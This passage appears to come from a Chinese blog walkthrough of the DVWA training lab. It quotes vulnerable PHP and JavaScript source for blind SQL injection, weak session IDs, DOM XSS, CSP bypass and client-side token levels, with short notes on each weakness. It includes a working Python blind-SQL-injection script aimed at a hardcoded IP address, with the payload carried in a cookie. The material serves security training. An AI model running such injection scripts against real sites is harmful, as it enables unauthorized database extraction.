源码和上面的medium意义的,只是返回的结果统一。1
3、High
直接脚本:
import timeimport requestsurl = 'http://121.199.77.45/vulnerabilities/sqli_blind/'flag = ''for i in range(1, 100): min = 1 max = 130 mid = int((min + max) / 2) while min < max: payload=f"id=1'%20and%20if((ascii(substr((select%20database())%2C{i}%2C1))%3E{mid})%2C1%2C0)%23;" headers={ 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0', 'Cookie':payload+' PHPSESSID=bqjapbi0r6fs9aemuhkc2svn81; security=high' } resp = requests.post(url, headers=headers) if 'User ID is MISSING from the database.' in resp.text: max = mid else: min = mid + 1 mid = (min + max) // 2 flag += chr(mid) print(flag)
原本想着需要写个脚本先访问弹窗页,然后再带Cookie访问返回页,测试了下发现,直接更改主页Cookie即可,因为弹窗页的作业就是发送Set-Cookie更改主页Cookie,从Cookie中取id数据查询的。
源码:
if( isset( $_COOKIE[ 'id' ] ) ) {// Get input$id = $_COOKIE[ 'id' ];$exists = false;switch ($_DVWA['SQLI_DB']) {case MYSQL:// Check database$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ); // Removed 'or die' to suppress mysql errors$exists = false;if ($result !== false) {// Get resultstry {$exists = (mysqli_num_rows( $result ) > 0); // The '@' character suppresses errors} catch(Exception $e) {$exists = false;}}((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);break;case SQLITE:global $sqlite_db_connection;$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";try {$results = $sqlite_db_connection->query($query);$row = $results->fetchArray();$exists = $row !== false;} catch(Exception $e) {$exists = false;}break;}if ($exists) {// Feedback for end user$html .= 'User ID exists in the database.
';}else {// Might sleep a random amountif( rand( 0, 5 ) == 3 ) {sleep( rand( 2, 4 ) );}// User wasn't found, so the page wasn't!header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );// Feedback for end user$html .= 'User ID is MISSING from the database.
';}}?>
4、Impossible
源码:
if( isset( $_GET[ 'Submit' ] ) ) {// Check Anti-CSRF tokencheckToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );$exists = false;// Get input$id = $_GET[ 'id' ];// Was a number entered?if(is_numeric( $id )) {$id = intval ($id);switch ($_DVWA['SQLI_DB']) {case MYSQL:// Check the database$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );$data->bindParam( ':id', $id, PDO::PARAM_INT );$data->execute();$exists = $data->rowCount();break;case SQLITE:global $sqlite_db_connection;$stmt = $sqlite_db_connection->prepare('SELECT COUNT(first_name) AS numrows FROM users WHERE user_id = :id LIMIT 1;' );$stmt->bindValue(':id',$id,SQLITE3_INTEGER);$result = $stmt->execute();$result->finalize();if ($result !== false) {// There is no way to get the number of rows returned// This checks the number of columns (not rows) just// as a precaution, but it won't stop someone dumping// multiple rows and viewing them one at a time.$num_columns = $result->numColumns();if ($num_columns == 1) {$row = $result->fetchArray();$numrows = $row[ 'numrows' ];$exists = ($numrows == 1);}}break;}}// Get resultsif ($exists) {// Feedback for end user$html .= 'User ID exists in the database.
';} else {// User wasn't found, so the page wasn't!header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );// Feedback for end user$html .= 'User ID is MISSING from the database.
';}}// Generate Anti-CSRF tokengenerateSessionToken();?>
增加了token,并且id必须是整数,而且使用了预编译,返回的报错结果也统一,防止了sql注入。
八、Weak Session IDs
1、Low
源码:
$html = "";if ($_SERVER['REQUEST_METHOD'] == "POST") {if (!isset ($_SESSION['last_session_id'])) {$_SESSION['last_session_id'] = 0;}$_SESSION['last_session_id']++;$cookie_value = $_SESSION['last_session_id'];setcookie("dvwaSession", $cookie_value);}?>
使用post请求,没有Session则先置0,并返回给客户端,每请求一次,dvwaSession的值+1,不安全因为Session的太容易猜测了
2、Medium
源码:
$html = "";if ($_SERVER['REQUEST_METHOD'] == "POST") {$cookie_value = time();setcookie("dvwaSession", $cookie_value);}?>
以time()时间来作为session,不安全,因为time()产生的数字比较短,而且很容易就能看出来是time()函数的结果,在一定时间内是可以进行爆破的。
3、High
源码:
$html = "";if ($_SERVER['REQUEST_METHOD'] == "POST") {if (!isset ($_SESSION['last_session_id_high'])) {$_SESSION['last_session_id_high'] = 0;}$_SESSION['last_session_id_high']++;$cookie_value = md5($_SESSION['last_session_id_high']);setcookie("dvwaSession", $cookie_value, time()+3600, "/vulnerabilities/weak_id/", $_SERVER['HTTP_HOST'], false, false);}?>
这里的Cookie的值为md5加密的自增整数值,并且设置了有效期是1小时,规定了服务器路径和域名,但是依旧太简单了,有规律,太容易被破解了,md5好歹加下盐什么的吧。
4、Impossible
$html = "";if ($_SERVER['REQUEST_METHOD'] == "POST") {$cookie_value = sha1(mt_rand() . time() . "Impossible");setcookie("dvwaSession", $cookie_value, time()+3600, "/vulnerabilities/weak_id/", $_SERVER['HTTP_HOST'], true, true);}?>
这个Cookie就比较安全,拼接了随机数+时间+自定义字符串,使用sha-1加密,在不知道随机数种子和自定义字符串的情况下,想要1小时内爆破,几乎不可能。
九、XSS(DOM)
1、Low
源码:
<script>if (document.location.href.indexOf("default=") >= 0) {var lang = document.location.href.substring(document.location.href.indexOf("default=")+8);document.write(" + decodeURI(lang) + "");document.write("");} document.write("");document.write("");document.write("");document.write("");script>
直接将default后面的数据插入了HTML页面中
2、Medium
源码:
// Is there any input?if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {$default = $_GET['default'];# Do not allow script tagsif (stripos ($default, "";}$page[ 'body' ] .= '';
只信任$headerCSP中的加载的资源,因此要从CSP域名中的资源中触发。
2、Medium
源码:
$headerCSP = "Content-Security-Policy: script-src 'self' 'unsafe-inline' 'nonce-TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=';";header($headerCSP);// Disable XSS protections so that inline alert boxes will workheader ("X-XSS-Protection: 0");# ?><?phpif (isset ($_POST['include'])) {$page[ 'body' ] .= "" . $_POST['include'] . "";}$page[ 'body' ] .= '';
只允许nonce的特定的内敛脚本块,因此使用script要加上给出的nonce参数
3、High
源码:
$headerCSP = "Content-Security-Policy: script-src 'self';";header($headerCSP);?><?phpif (isset ($_POST['include'])) {$page[ 'body' ] .= "" . $_POST['include'] . "";}$page[ 'body' ] .= ' . DVWA_WEB_PAGE_TO_ROOT . '/vulnerabilities/csp/source/jsonp.php to load some code. Modify that page to run your own code.1+2+3+4+5=
';
function clickButton() { var s = document.createElement("script"); s.src = "source/jsonp.php?callback=solveSum"; document.body.appendChild(s);}function solveSum(obj) {if ("answer" in obj) {document.getElementById("answer").innerHTML = obj['answer'];}}var solve_button = document.getElementById ("solve");if (solve_button) {solve_button.addEventListener("click", function() {clickButton();});}
header("Content-Type: application/json; charset=UTF-8");if (array_key_exists ("callback", $_GET)) {$callback = $_GET['callback'];} else {return "";}$outp = array ("answer" => "15");echo $callback . "(".json_encode($outp).")";?>
jsonp.php接受callback参数的,源代码中一旦点击solve即向jsonp.php发送callback为solveSum,jsonp.php返回solveSum({answer:15})触发js的solveSum函数获取15并嵌入页面。因此可以利用include接收内容,调用jsonp.php进行弹窗。
4、Impossible
header("Content-Type: application/json; charset=UTF-8");$outp = array ("answer" => "15");echo "solveSum (".json_encode($outp).")";?>
直接将返回限制死为solveSum。
十三、JavaScript
1、Low
这里的token是前端利用加密生成的。
2、Medium
token只是用了换掉字符串顺序+XX的方法生成
3、High
JS混淆了,上百度找个解密工具
(function() { 'use strict'; var ERROR = 'input is invalid type'; var WINDOW = typeof window === 'object'; var root = WINDOW ? window : {}; if (root.JS_SHA256_NO_WINDOW) { WINDOW = false } var WEB_WORKER = !WINDOW && typeof self === 'object'; var NODE_JS = !root.JS_SHA256_NO_NODE_JS && typeof process === 'object' && process.versions && process.versions.node; if (NODE_JS) { root = global } else if (WEB_WORKER) { root = self } var COMMON_JS = !root.JS_SHA256_NO_COMMON_JS && typeof module === 'object' && module.exports; var AMD = typeof define === 'function' && define.amd; var ARRAY_BUFFER = !root.JS_SHA256_NO_ARRAY_BUFFER && typeof ArrayBuffer !== 'undefined'; var HEX_CHARS = '0123456789abcdef'.split(''); var EXTRA = [-2147483648, 8388608, 32768, 128]; var SHIFT = [24, 16, 8, 0]; var K = [0x428a2f98, 0x71374491, 0xb5c0fbcf, 0xe9b5dba5, 0x3956c25b, 0x59f111f1, 0x923f82a4, 0xab1c5ed5, 0xd807aa98, 0x12835b01, 0x243185be, 0x550c7dc3, 0x72be5d74, 0x80deb1fe, 0x9bdc06a7, 0xc19bf174, 0xe49b69c1, 0xefbe4786, 0x0fc19dc6, 0x240ca1cc, 0x2de92c6f, 0x4a7484aa, 0x5cb0a9dc, 0x76f988da, 0x983e5152, 0xa831c66d, 0xb00327c8, 0xbf597fc7, 0xc6e00bf3, 0xd5a79147, 0x06ca6351, 0x14292967, 0x27b70a85, 0x2e1b2138, 0x4d2c6dfc, 0x53380d13, 0x650a7354, 0x766a0abb, 0x81c2c92e, 0x92722c85, 0xa2bfe8a1, 0xa81a664b, 0xc24b8b70, 0xc76c51a3, 0xd192e819, 0xd6990624, 0xf40e3585, 0x106aa070, 0x19a4c116, 0x1e376c08, 0x2748774c, 0x34b0bcb5, 0x391c0cb3, 0x4ed8aa4a, 0x5b9cca4f, 0x682e6ff3, 0x748f82ee, 0x78a5636f, 0x84c87814, 0x8cc70208, 0x90befffa, 0xa4506ceb, 0xbef9a3f7, 0xc67178f2]; var OUTPUT_TYPES = ['hex', 'array', 'digest', 'arrayBuffer']; var blocks = []; if (root.JS_SHA256_NO_NODE_JS || !Array.isArray) { Array.isArray = function(obj) { return Object.prototype.toString.call(obj) === '[object Array]' } } if (ARRAY_BUFFER && (root.JS_SHA256_NO_ARRAY_BUFFER_IS_VIEW || !ArrayBuffer.isView)) { ArrayBuffer.isView = function(obj) { return typeof obj === 'object' && obj.buffer && obj.buffer.constructor === ArrayBuffer } } var createOutputMethod = function(outputType, is224) { return function(message) { return new Sha256(is224, true).update(message)[outputType]() } }; var createMethod = function(is224) { var method = createOutputMethod('hex', is224); if (NODE_JS) { method = nodeWrap(method, is224) } method.create = function() { return new Sha256(is224) }; method.update = function(message) { return method.create().update(message) }; for (var i = 0; i < OUTPUT_TYPES.length; ++i) { var type = OUTPUT_TYPES[i]; method[type] = createOutputMethod(type, is224) } return method }; var nodeWrap = function(method, is224) { var crypto = eval("require('crypto')"); var Buffer = eval("require('buffer').Buffer"); var algorithm = is224 ? 'sha224' : 'sha256'; var nodeMethod = function(message) { if (typeof message === 'string') { return crypto.createHash(algorithm).update(message, 'utf8').digest('hex') } else { if (message === null || message === undefined) {throw new Error(ERROR) } else if (message.constructor === ArrayBuffer) {message = new Uint8Array(message) } } if (Array.isArray(message) || ArrayBuffer.isView(message) || message.constructor === Buffer) { return crypto.createHash(algorithm).update(new Buffer(message)).digest('hex') } else { return method(message) } }; return nodeMethod }; var createHmacOutputMethod = function(outputType, is224) { return function(key, message) { return new HmacSha256(key, is224, true).update(message)[outputType]() } }; var createHmacMethod = function(is224) { var method = createHmacOutputMethod('hex', is224); method.create = function(key) { return new HmacSha256(key, is224) }; method.update = function(key, message) { return method.create(key).update(message) }; for (var i = 0; i < OUTPUT_TYPES.length; ++i) { var type = OUTPUT_TYPES[i]; method[type] = createHmacOutputMethod(type, is224) } return method }; function Sha256(is224, sharedMemory) { if (sharedMemory) { blocks[0] = blocks[16] = blocks[1] = blocks[2] = blocks[3] = blocks[4] = blocks[5] = blocks[6] = blocks[7] = blocks[8] = blocks[9] = blocks[10] = blocks[11] = blocks[12] = blocks[13] = blocks[14] = blocks[15] = 0; this.blocks = blocks } else { this.blocks = [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0] } if (is224) { this.h0 = 0xc1059ed8; this.h1 = 0x367cd507; this.h2 = 0x3070dd17; this.h3 = 0xf70e5939; this.h4 = 0xffc00b31; this.h5 = 0x68581511; this.h6 = 0x64f98fa7; this.h7 = 0xbefa4fa4 } else { this.h0 = 0x6a09e667; this.h1 = 0xbb67ae85; this.h2 = 0x3c6ef372; this.h3 = 0xa54ff53a; this.h4 = 0x510e527f; this.h5 = 0x9b05688c; this.h6 = 0x1f83d9ab; this.h7 = 0x5be0cd19 } this.block = this.start = this.bytes = this.hBytes = 0; this.finalized = this.hashed = false; this.first = true; this.is224 = is224 } Sha256.prototype.update = function(message) { if (this.finalized) { return } var notString, type = typeof message; if (type !== 'string') { if (type === 'object') { if (message === null) { throw new Error(ERROR) } else if (ARRAY_BUFFER && message.constructor === ArrayBuffer) { message = new Uint8Array(message) } else if (!Array.isArray(message)) { if (!ARRAY_BUFFER || !ArrayBuffer.isView(message)) { throw new Error(ERROR) } } } else { throw new Error(ERROR) } notString = true } var code, index = 0, i, length = message.length, blocks = this.blocks; while (index < length) { if (this.hashed) { this.hashed = false; blocks[0] = this.block; blocks[16] = blocks[1] = blocks[2] = blocks[3] = blocks[4] = blocks[5] = blocks[6] = blocks[7] = blocks[8] = blocks[9] = blocks[10] = blocks[11] = blocks[12] = blocks[13] = blocks[14] = blocks[15] = 0 } if (notString) { for (i = this.start; index < length && i < 64; ++index) { blocks[i >> 2] |= message[index] << SHIFT[i++ & 3] } } else { for (i = this.start; index < length && i < 64; ++index) { code = message.charCodeAt(index); if (code < 0x80) { blocks[i >> 2] |= code << SHIFT[i++ & 3] } else if (code < 0x800) { blocks[i >> 2] |= (0xc0 | (code >> 6)) << SHIFT[i++ & 3]; blocks[i >> 2] |= (0x80 | (code & 0x3f)) << SHIFT[i++ & 3] } else if (code < 0xd800 || code >= 0xe000) { blocks[i >> 2] |= (0xe0 | (code >> 12)) << SHIFT[i++ & 3]; blocks[i >> 2] |= (0x80 | ((code >> 6) & 0x3f)) << SHIFT[i++ & 3]; blocks[i >> 2] |= (0x80 | (code & 0x3f)) << SHIFT[i++ & 3] } else { code = 0x10000 + (((code & 0x3ff) << 10) | (message.charCodeAt(++index) & 0x3ff)); blocks[i >> 2] |= (0xf0 | (code >> 18)) << SHIFT[i++ & 3]; blocks[i >> 2] |= (0x80 | ((code >> 12) & 0x3f)) << SHIFT[i++ & 3]; blocks[i >> 2] |= (0x80 | ((code >> 6) & 0x3f)) << SHIFT[i++ & 3]; blocks[i >> 2] |= (0x80 | (code & 0x3f)) << SHIFT[i++ & 3] } } } this.lastByteIndex = i; this.bytes += i - this.start; if (i >= 64) { this.block = blocks[16]; this.start = i - 64; this.hash(); this.hashed = true } else { this.start = i } } if (this.bytes > 4294967295) { this.hBytes += this.bytes / 4294967296 << 0; this.bytes = this.bytes % 4294967296 } return this }; Sha256.prototype.finalize = function() { if (this.finalized) { return } this.finalized = true; var blocks = this.blocks, i = this.lastByteIndex; blocks[16] = this.block; blocks[i >> 2] |= EXTRA[i & 3]; this.block = blocks[16]; if (i >= 56) { if (!this.hashed) { this.hash() } blocks[0] = this.block; blocks[16] = blocks[1] = blocks[2] = blocks[3] = blocks[4] = blocks[5] = blocks[6] = blocks[7] = blocks[8] = blocks[9] = blocks[10] = blocks[11] = blocks[12] = blocks[13] = blocks[14] = blocks[15] = 0 } blocks[14] = this.hBytes << 3 | this.bytes >>> 29; blocks[15] = this.bytes << 3; this.hash() }; Sha256.prototype.hash = function() { var a = this.h0, b = this.h1, c = this.h2, d = this.h3, e = this.h4, f = this.h5, g = this.h6, h = this.h7, blocks = this.blocks, j, s0, s1, maj, t1, t2, ch, ab, da, cd, bc; for (j = 16; j < 64; ++j) { t1 = blocks[j - 15]; s0 = ((t1 >>> 7) | (t1 << 25)) ^ ((t1 >>> 18) | (t1 << 14)) ^ (t1 >>> 3); t1 = blocks[j - 2]; s1 = ((t1 >>> 17) | (t1 << 15)) ^ ((t1 >>> 19) | (t1 << 13)) ^ (t1 >>> 10); blocks[j] = blocks[j - 16] + s0 + blocks[j - 7] + s1 << 0 } bc = b & c; for (j = 0; j < 64; j += 4) { if (this.first) { if (this.is224) { ab = 300032; t1 = blocks[0] - 1413257819; h = t1 - 150054599 << 0; d = t1 + 24177077 << 0 } else { ab = 704751109; t1 = blocks[0] - 210244248; h = t1 - 1521486534 << 0; d = t1 + 143694565 << 0 } this.first = false } else { s0 = ((a >>> 2) | (a << 30)) ^ ((a >>> 13) | (a << 19)) ^ ((a >>> 22) | (a << 10)); s1 = ((e >>> 6) | (e << 26)) ^ ((e >>> 11) | (e << 21)) ^ ((e >>> 25) | (e << 7)); ab = a & b; maj = ab ^ (a & c) ^ bc; ch = (e & f) ^ (~e & g); t1 = h + s1 + ch + K[j] + blocks[j]; t2 = s0 + maj; h = d + t1 << 0; d = t1 + t2 << 0 } s0 = ((d >>> 2) | (d << 30)) ^ ((d >>> 13) | (d << 19)) ^ ((d >>> 22) | (d << 10)); s1 = ((h >>> 6) | (h << 26)) ^ ((h >>> 11) | (h << 21)) ^ ((h >>> 25) | (h << 7)); da = d & a; maj = da ^ (d & b) ^ ab; ch = (h & e) ^ (~h & f); t1 = g + s1 + ch + K[j + 1] + blocks[j + 1]; t2 = s0 + maj; g = c + t1 << 0; c = t1 + t2 << 0; s0 = ((c >>> 2) | (c << 30)) ^ ((c >>> 13) | (c << 19)) ^ ((c >>> 22) | (c << 10)); s1 = ((g >>> 6) | (g << 26)) ^ ((g >>> 11) | (g << 21)) ^ ((g >>> 25) | (g << 7)); cd = c & d; maj = cd ^ (c & a) ^ da; ch = (g & h) ^ (~g & e); t1 = f + s1 + ch + K[j + 2] + blocks[j + 2]; t2 = s0 + maj; f = b + t1 << 0; b = t1 + t2 << 0; s0 = ((b >>> 2) | (b << 30)) ^ ((b >>> 13) | (b << 19)) ^ ((b >>> 22) | (b << 10)); s1 = ((f >>> 6) | (f << 26)) ^ ((f >>> 11) | (f << 21)) ^ ((f >>> 25) | (f << 7)); bc = b & c; maj = bc ^ (b & d) ^ cd; ch = (f & g) ^ (~f & h); t1 = e + s1 + ch + K[j + 3] + blocks[j + 3]; t2 = s0 + maj; e = a + t1 << 0; a = t1 + t2 << 0 } this.h0 = this.h0 + a << 0; this.h1 = this.h1 + b << 0; this.h2 = this.h2 + c << 0; this.h3 = this.h3 + d << 0; this.h4 = this.h4 + e << 0; this.h5 = this.h5 + f << 0; this.h6 = this.h6 + g << 0; this.h7 = this.h7 + h << 0 }; Sha256.prototype.hex = function() { this.finalize(); var h0 = this.h0, h1 = this.h1, h2 = this.h2, h3 = this.h3, h4 = this.h4, h5 = this.h5, h6 = this.h6, h7 = this.h7; var hex = HEX_CHARS[(h0 >> 28) & 0x0F] + HEX_CHARS[(h0 >> 24) & 0x0F] + HEX_CHARS[(h0 >> 20) & 0x0F] + HEX_CHARS[(h0 >> 16) & 0x0F] + HEX_CHARS[(h0 >> 12) & 0x0F] + HEX_CHARS[(h0 >> 8) & 0x0F] + HEX_CHARS[(h0 >> 4) & 0x0F] + HEX_CHARS[h0 & 0x0F] + HEX_CHARS[(h1 >> 28) & 0x0F] + HEX_CHARS[(h1 >> 24) & 0x0F] + HEX_CHARS[(h1 >> 20) & 0x0F] + HEX_CHARS[(h1 >> 16) & 0x0F] + HEX_CHARS[(h1 >> 12) & 0x0F] + HEX_CHARS[(h1 >> 8) & 0x0F] + HEX_CHARS[(h1 >> 4) & 0x0F] + HEX_CHARS[h1 & 0x0F] + HEX_CHARS[(h2 >> 28) & 0x0F] + HEX_CHARS[(h2 >> 24) & 0x0F] + HEX_CHARS[(h2 >> 20) & 0x0F] + HEX_CHARS[(h2 >> 16) & 0x0F] + HEX_CHARS[(h2 >> 12) & 0x0F] + HEX_CHARS[(h2 >> 8) & 0x0F] + HEX_CHARS[(h2 >> 4) & 0x0F] + HEX_CHARS[h2 & 0x0F] + HEX_CHARS[(h3 >> 28) & 0x0F] + HEX_CHARS[(h3 >> 24) & 0x0F] + HEX_CHARS[(h3 >> 20) & 0x0F] + HEX_CHARS[(h3 >> 16) & 0x0F] + HEX_CHARS[(h3 >> 12) & 0x0F] + HEX_CHARS[(h3 >> 8) & 0x0F] + HEX_CHARS[(h3 >> 4) & 0x0F] + HEX_CHARS[h3 & 0x0F] + HEX_CHARS[(h4 >> 28) & 0x0F] + HEX_CHARS[(h4 >> 24) & 0x0F] + HEX_CHARS[(h4 >> 20) & 0x0F] + HEX_CHARS[(h4 >> 16) & 0x0F] + HEX_CHARS[(h4 >> 12) & 0x0F] + HEX_CHARS[(h4 >> 8) & 0x0F] + HEX_CHARS[(h4 >> 4) & 0x0F] + HEX_CHARS[h4 & 0x0F] + HEX_CHARS[(h5 >> 28) & 0x0F] + HEX_CHARS[(h5 >> 24) & 0x0F] + HEX_CHARS[(h5 >> 20) & 0x0F] + HEX_CHARS[(h5 >> 16) & 0x0F] + HEX_CHARS[(h5 >> 12) & 0x0F] + HEX_CHARS[(h5 >> 8) & 0x0F] + HEX_CHARS[(h5 >> 4) & 0x0F] + HEX_CHARS[h5 & 0x0F] + HEX_CHARS[(h6 >> 28) & 0x0F] + HEX_CHARS[(h6 >> 24) & 0x0F] + HEX_CHARS[(h6 >> 20) & 0x0F] + HEX_CHARS[(h6 >> 16) & 0x0F] + HEX_CHARS[(h6 >> 12) & 0x0F] + HEX_CHARS[(h6 >> 8) & 0x0F] + HEX_CHARS[(h6 >> 4) & 0x0F] + HEX_CHARS[h6 & 0x0F]; if (!this.is224) { hex += HEX_CHARS[(h7 >> 28) & 0x0F] + HEX_CHARS[(h7 >> 24) & 0x0F] + HEX_CHARS[(h7 >> 20) & 0x0F] + HEX_CHARS[(h7 >> 16) & 0x0F] + HEX_CHARS[(h7 >> 12) & 0x0F] + HEX_CHARS[(h7 >> 8) & 0x0F] + HEX_CHARS[(h7 >> 4) & 0x0F] + HEX_CHARS[h7 & 0x0F] } return hex }; Sha256.prototype.toString = Sha256.prototype.hex; Sha256.prototype.digest = function() { this.finalize(); var h0 = this.h0, h1 = this.h1, h2 = this.h2, h3 = this.h3, h4 = this.h4, h5 = this.h5, h6 = this.h6, h7 = this.h7; var arr = [(h0 >> 24) & 0xFF, (h0 >> 16) & 0xFF, (h0 >> 8) & 0xFF, h0 & 0xFF, (h1 >> 24) & 0xFF, (h1 >> 16) & 0xFF, (h1 >> 8) & 0xFF, h1 & 0xFF, (h2 >> 24) & 0xFF, (h2 >> 16) & 0xFF, (h2 >> 8) & 0xFF, h2 & 0xFF, (h3 >> 24) & 0xFF, (h3 >> 16) & 0xFF, (h3 >> 8) & 0xFF, h3 & 0xFF, (h4 >> 24) & 0xFF, (h4 >> 16) & 0xFF, (h4 >> 8) & 0xFF, h4 & 0xFF, (h5 >> 24) & 0xFF, (h5 >> 16) & 0xFF, (h5 >> 8) & 0xFF, h5 & 0xFF, (h6 >> 24) & 0xFF, (h6 >> 16) & 0xFF, (h6 >> 8) & 0xFF, h6 & 0xFF]; if (!this.is224) { arr.push((h7 >> 24) & 0xFF, (h7 >> 16) & 0xFF, (h7 >> 8) & 0xFF, h7 & 0xFF) } return arr }; Sha256.prototype.array = Sha256.prototype.digest; Sha256.prototype.arrayBuffer = function() { this.finalize(); var buffer = new ArrayBuffer(this.is224 ? 28 : 32); var dataView = new DataView(buffer); dataView.setUint32(0, this.h0); dataView.setUint32(4, this.h1); dataView.setUint32(8, this.h2); dataView.setUint32(12, this.h3); dataView.setUint32(16, this.h4); dataView.setUint32(20, this.h5); dataView.setUint32(24, this.h6); if (!this.is224) { dataView.setUint32(28, this.h7) } return buffer }; function HmacSha256(key, is224, sharedMemory) { var i, type = typeof key; if (type === 'string') { var bytes = [], length = key.length, index = 0, code; for (i = 0; i < length; ++i) { code = key.charCodeAt(i); if (code < 0x80) { bytes[index++] = code } else if (code < 0x800) { bytes[index++] = (0xc0 | (code >> 6)); bytes[index++] = (0x80 | (code & 0x3f)) } else if (code < 0xd800 || code >= 0xe000) { bytes[index++] = (0xe0 | (code >> 12)); bytes[index++] = (0x80 | ((code >> 6) & 0x3f)); bytes[index++] = (0x80 | (code & 0x3f)) } else { code = 0x10000 + (((code & 0x3ff) << 10) | (key.charCodeAt(++i) & 0x3ff)); bytes[index++] = (0xf0 | (code >> 18)); bytes[index++] = (0x80 | ((code >> 12) & 0x3f)); bytes[index++] = (0x80 | ((code >> 6) & 0x3f)); bytes[index++] = (0x80 | (code & 0x3f)) } } key = bytes } else { if (type === 'object') { if (key === null) { throw new Error(ERROR) } else if (ARRAY_BUFFER && key.constructor === ArrayBuffer) { key = new Uint8Array(key) } else if (!Array.isArray(key)) { if (!ARRAY_BUFFER || !ArrayBuffer.isView(key)) { throw new Error(ERROR) } } } else { throw new Error(ERROR) } } if (key.length > 64) { key = (new Sha256(is224, true)).update(key).array() } var oKeyPad = [], iKeyPad = []; for (i = 0; i < 64; ++i) { var b = key[i] || 0; oKeyPad[i] = 0x5c ^ b; iKeyPad[i] = 0x36 ^ b } Sha256.call(this, is224, sharedMemory); this.update(iKeyPad); this.oKeyPad = oKeyPad; this.inner = true; this.sharedMemory = sharedMemory } HmacSha256.prototype = new Sha256(); HmacSha256.prototype.finalize = function() { Sha256.prototype.finalize.call(this); if (this.inner) { this.inner = false; var innerHash = this.array(); Sha256.call(this, this.is224, this.sharedMemory); this.update(this.oKeyPad); this.update(innerHash); Sha256.prototype.finalize.call(this) } }; var exports = createMethod(); exports.sha256 = exports; exports.sha224 = createMethod(true); exports.sha256.hmac = createHmacMethod(); exports.sha224.hmac = createHmacMethod(true); if (COMMON_JS) { module.exports = exports } else { root.sha256 = exports.sha256; root.sha224 = exports.sha224; if (AMD) { define(function() { return exports }) } }})();function do_something(e) { for (var t = "", n = e.length - 1; n >= 0; n--) t += e[n]; return t}function token_part_3(t, y = "ZZ") { document.getElementById("token").value = sha256(document.getElementById("token").value + y)}function token_part_2(e = "YY") { document.getElementById("token").value = sha256(e + document.getElementById("token").value)}function token_part_1(a, b) { document.getElementById("token").value = do_something(document.getElementById("phrase").value)}document.getElementById("phrase").value = "";setTimeout(function() { token_part_2("XX")}, 300);document.getElementById("send").addEventListener("click", token_part_3);token_part_1("ABCD", 44);
执行part1,然后延迟300ms执行part2,点击按钮执行part3
来源地址:https://blog.csdn.net/weixin_53090346/article/details/128931620